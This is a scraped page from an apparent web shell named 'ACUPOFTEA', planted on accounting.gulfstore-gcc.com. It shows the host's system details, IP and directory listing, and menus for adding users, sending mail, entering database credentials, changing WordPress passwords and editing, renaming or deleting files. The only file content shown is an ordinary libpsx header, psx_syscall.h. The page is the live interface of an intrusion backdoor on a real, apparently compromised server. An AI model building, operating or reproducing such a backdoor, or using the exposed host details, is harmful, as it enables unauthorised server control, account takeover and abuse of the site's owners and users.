System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
sys
/
216.73.216.146
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
psx_syscall.h
/* * Copyright (c) 2019 Andrew G. Morgan <morgan@kernel.org> * * This header, and the -lpsx library, provide a number of things to * support POSIX semantics for syscalls associated with the pthread * library. Linking this code is tricky and is done as follows: * * ld ... -lpsx -lpthread --wrap=pthread_create * or, gcc ... -lpsx -lpthread -Wl,-wrap,pthread_create * * glibc provides a subset of this functionality natively through the * nptl:setxid mechanism and could implement psx_syscall() directly * using that style of functionality but, as of 2019-11-30, the setxid * mechanism is limited to 9 specific set*() syscalls that do not * support the syscall6 API (needed for prctl functions and the ambient * capabilities set for example). */ #ifndef _SYS_PSX_SYSCALL_H #define _SYS_PSX_SYSCALL_H #ifdef __cplusplus extern "C" { #endif #include <pthread.h> /* * psx_syscall performs the specified syscall on all psx registered * threads. The mechanism by which this occurs is much less efficient * than a standard system call on Linux, so it should only be used * when POSIX semantics are required to change process relevant * security state. * * Glibc has native support for POSIX semantics on setgroups() and the * 8 set*[gu]id() functions. So, there is no need to use psx_syscall() * for these calls. This call exists for all the other system calls * that need to maintain parity on all pthreads of a program. * * Some macrology is used to allow the caller to provide only as many * arguments as needed, thus psx_syscall() cannot be used as a * function pointer. For those situations, we define psx_syscall3() * and psx_syscall6(). */ #define psx_syscall(syscall_nr, ...) \ __psx_syscall(syscall_nr, __VA_ARGS__, (long int) 6, (long int) 5, \ (long int) 4, (long int) 3, (long int) 2, \ (long int) 1, (long int) 0) long int __psx_syscall(long int syscall_nr, ...); long int psx_syscall3(long int syscall_nr, long int arg1, long int arg2, long int arg3); long int psx_syscall6(long int syscall_nr, long int arg1, long int arg2, long int arg3, long int arg4, long int arg5, long int arg6); /* * This function should be used by systems to obtain pointers to the * two syscall functions provided by the PSX library. A linkage trick * is to define this function as weak in a library that can optionally * use libpsx and then, should the caller link -lpsx, that library can * implicitly use these POSIX semantics syscalls. See libcap for an * example of this useage. */ void psx_load_syscalls(long int (**syscall_fn)(long int, long int, long int, long int), long int (**syscall6_fn)(long int, long int, long int, long int, long int, long int, long int)); #ifdef __cplusplus } #endif #endif /* _SYS_PSX_SYSCALL_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
..
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
acct.h
text/x-c
3.22 KB
-rw-r--r--
2025-12-08 09:36:36
auxv.h
text/x-c
1.23 KB
-rw-r--r--
2025-12-08 09:36:36
bitypes.h
text/x-c
86 B
-rw-r--r--
2025-12-08 09:36:49
capability.h
text/x-c
7.06 KB
-rw-r--r--
2024-01-10 02:34:46
cdefs.h
text/x-c
20.2 KB
-rw-r--r--
2025-12-08 09:36:36
debugreg.h
text/x-c
3.49 KB
-rw-r--r--
2025-12-08 09:36:36
dir.h
text/x-c
921 B
-rw-r--r--
2025-12-08 09:36:36
elf.h
text/x-c
1023 B
-rw-r--r--
2025-12-08 09:36:36
epoll.h
text/x-c
4.31 KB
-rw-r--r--
2025-12-08 09:36:36
errno.h
text/x-c
19 B
-rw-r--r--
2025-12-08 09:36:34
eventfd.h
text/x-c
1.37 KB
-rw-r--r--
2025-12-08 09:36:36
fanotify.h
text/x-c
1.26 KB
-rw-r--r--
2025-12-08 09:36:36
fcntl.h
text/x-c
19 B
-rw-r--r--
2025-12-08 09:36:36
file.h
text/x-c
1.63 KB
-rw-r--r--
2025-12-08 09:36:36
fsuid.h
text/x-c
1.16 KB
-rw-r--r--
2025-12-08 09:36:36
gmon.h
text/x-c
6.08 KB
-rw-r--r--
2025-12-08 09:36:36
gmon_out.h
text/x-c
2.57 KB
-rw-r--r--
2025-12-08 09:36:36
inotify.h
text/x-c
3.75 KB
-rw-r--r--
2025-12-08 09:36:36
io.h
text/x-c
4.97 KB
-rw-r--r--
2025-12-08 09:36:36
ioctl.h
text/x-c
1.7 KB
-rw-r--r--
2025-12-08 09:36:36
ipc.h
text/x-c
1.43 KB
-rw-r--r--
2025-12-08 09:36:36
kd.h
text/x-c
1.08 KB
-rw-r--r--
2025-12-08 09:36:36
klog.h
text/x-c
1.17 KB
-rw-r--r--
2025-12-08 09:36:36
mman.h
text/x-c
5.42 KB
-rw-r--r--
2025-12-08 09:36:36
mount.h
text/x-c
5.48 KB
-rw-r--r--
2025-12-08 09:36:36
msg.h
text/x-c
2.31 KB
-rw-r--r--
2025-12-08 09:36:36
mtio.h
text/x-c
10.9 KB
-rw-r--r--
2025-12-08 09:36:36
param.h
text/x-c
3.07 KB
-rw-r--r--
2025-12-08 09:36:36
pci.h
text/x-c
922 B
-rw-r--r--
2025-12-08 09:36:36
perm.h
text/x-c
1.1 KB
-rw-r--r--
2025-12-08 09:36:36
personality.h
text/x-c
2.66 KB
-rw-r--r--
2025-12-08 09:36:36
poll.h
text/x-c
2.49 KB
-rw-r--r--
2025-12-08 09:36:36
prctl.h
text/x-c
1.03 KB
-rw-r--r--
2025-12-08 09:36:36
procfs.h
text/x-c
4.87 KB
-rw-r--r--
2025-12-08 09:36:48
profil.h
text/x-c
1.91 KB
-rw-r--r--
2025-12-08 09:36:36
psx_syscall.h
text/x-c
2.77 KB
-rw-r--r--
2024-01-10 02:34:46
ptrace.h
text/x-c
5.85 KB
-rw-r--r--
2025-12-08 09:36:36
queue.h
text/x-c
19.08 KB
-rw-r--r--
2025-12-08 09:36:36
quota.h
text/x-c
5.05 KB
-rw-r--r--
2025-12-08 09:36:36
random.h
text/x-c
1.41 KB
-rw-r--r--
2025-12-08 09:36:34
raw.h
text/x-c
1.15 KB
-rw-r--r--
2025-12-08 09:36:36
reboot.h
text/x-c
1.59 KB
-rw-r--r--
2025-12-08 09:36:36
reg.h
text/x-c
1.78 KB
-rw-r--r--
2025-12-08 09:36:36
resource.h
text/x-c
3.56 KB
-rw-r--r--
2025-12-08 09:36:36
sdt-config.h
text/plain
276 B
-rw-r--r--
2023-10-14 01:06:47
sdt.h
text/x-c++
21.64 KB
-rw-r--r--
2023-10-14 01:06:47
select.h
text/x-c
4.04 KB
-rw-r--r--
2025-12-08 09:36:36
sem.h
text/x-c
1.99 KB
-rw-r--r--
2025-12-08 09:36:36
sendfile.h
text/x-c
1.76 KB
-rw-r--r--
2025-12-08 09:36:36
shm.h
text/x-c
1.83 KB
-rw-r--r--
2025-12-08 09:36:36
signal.h
text/x-c
20 B
-rw-r--r--
2025-12-08 09:36:34
signalfd.h
text/x-c
1.56 KB
-rw-r--r--
2025-12-08 09:36:36
socket.h
text/x-c
9.96 KB
-rw-r--r--
2025-12-08 09:36:36
socketvar.h
text/x-c
141 B
-rw-r--r--
2025-12-08 09:36:36
soundcard.h
text/x-c
29 B
-rw-r--r--
2025-12-08 09:36:36
stat.h
text/x-c
15.86 KB
-rw-r--r--
2025-12-08 09:36:36
statfs.h
text/x-c
2.04 KB
-rw-r--r--
2025-12-08 09:36:36
statvfs.h
text/x-c
2.75 KB
-rw-r--r--
2025-12-08 09:36:36
swap.h
text/x-c
1.55 KB
-rw-r--r--
2025-12-08 09:36:36
syscall.h
text/x-c
1.3 KB
-rw-r--r--
2025-12-08 09:36:36
sysctl.h
text/x-c
1.96 KB
-rw-r--r--
2025-12-08 09:36:36
sysinfo.h
text/x-c
1.48 KB
-rw-r--r--
2025-12-08 09:36:36
syslog.h
text/x-c
7.52 KB
-rw-r--r--
2025-12-08 09:36:36
sysmacros.h
text/x-c
2.05 KB
-rw-r--r--
2025-12-08 09:36:36
termios.h
text/x-c
74 B
-rw-r--r--
2025-12-08 09:36:36
time.h
text/x-c
6.5 KB
-rw-r--r--
2025-12-08 09:36:35
timeb.h
text/x-c
1.34 KB
-rw-r--r--
2025-12-08 09:36:35
timerfd.h
text/x-c
1.83 KB
-rw-r--r--
2025-12-08 09:36:36
times.h
text/x-c
1.56 KB
-rw-r--r--
2025-12-08 09:36:36
timex.h
text/x-c
2.15 KB
-rw-r--r--
2025-12-08 09:36:35
ttychars.h
text/x-c
2.44 KB
-rw-r--r--
2025-12-08 09:36:36
ttydefaults.h
text/x-c
3.48 KB
-rw-r--r--
2025-12-08 09:36:36
types.h
text/x-c
5.58 KB
-rw-r--r--
2025-12-08 09:36:36
ucontext.h
text/x-c
5.7 KB
-rw-r--r--
2025-12-08 09:36:34
uio.h
text/x-c
6.13 KB
-rw-r--r--
2025-12-08 09:36:36
un.h
text/x-c
1.42 KB
-rw-r--r--
2025-12-08 09:36:36
unistd.h
text/x-c
20 B
-rw-r--r--
2025-12-08 09:36:36
user.h
text/x-c
5.08 KB
-rw-r--r--
2025-12-08 09:36:36
utsname.h
text/x-c
2.42 KB
-rw-r--r--
2025-12-08 09:36:36
vfs.h
text/x-c
161 B
-rw-r--r--
2025-12-08 09:36:36
vlimit.h
text/x-c
1.83 KB
-rw-r--r--
2025-12-08 09:36:36
vm86.h
text/x-c
1.17 KB
-rw-r--r--
2025-12-08 09:36:36
vt.h
text/x-c
22 B
-rw-r--r--
2025-12-08 09:36:36
vtimes.h
text/x-c
2.4 KB
-rw-r--r--
2025-12-08 09:36:36
wait.h
text/x-c
5.47 KB
-rw-r--r--
2025-12-08 09:36:36
xattr.h
text/x-c
4.17 KB
-rw-r--r--
2025-12-08 09:36:36
~ ACUPOFTEA - accounting.gulfstore-gcc.com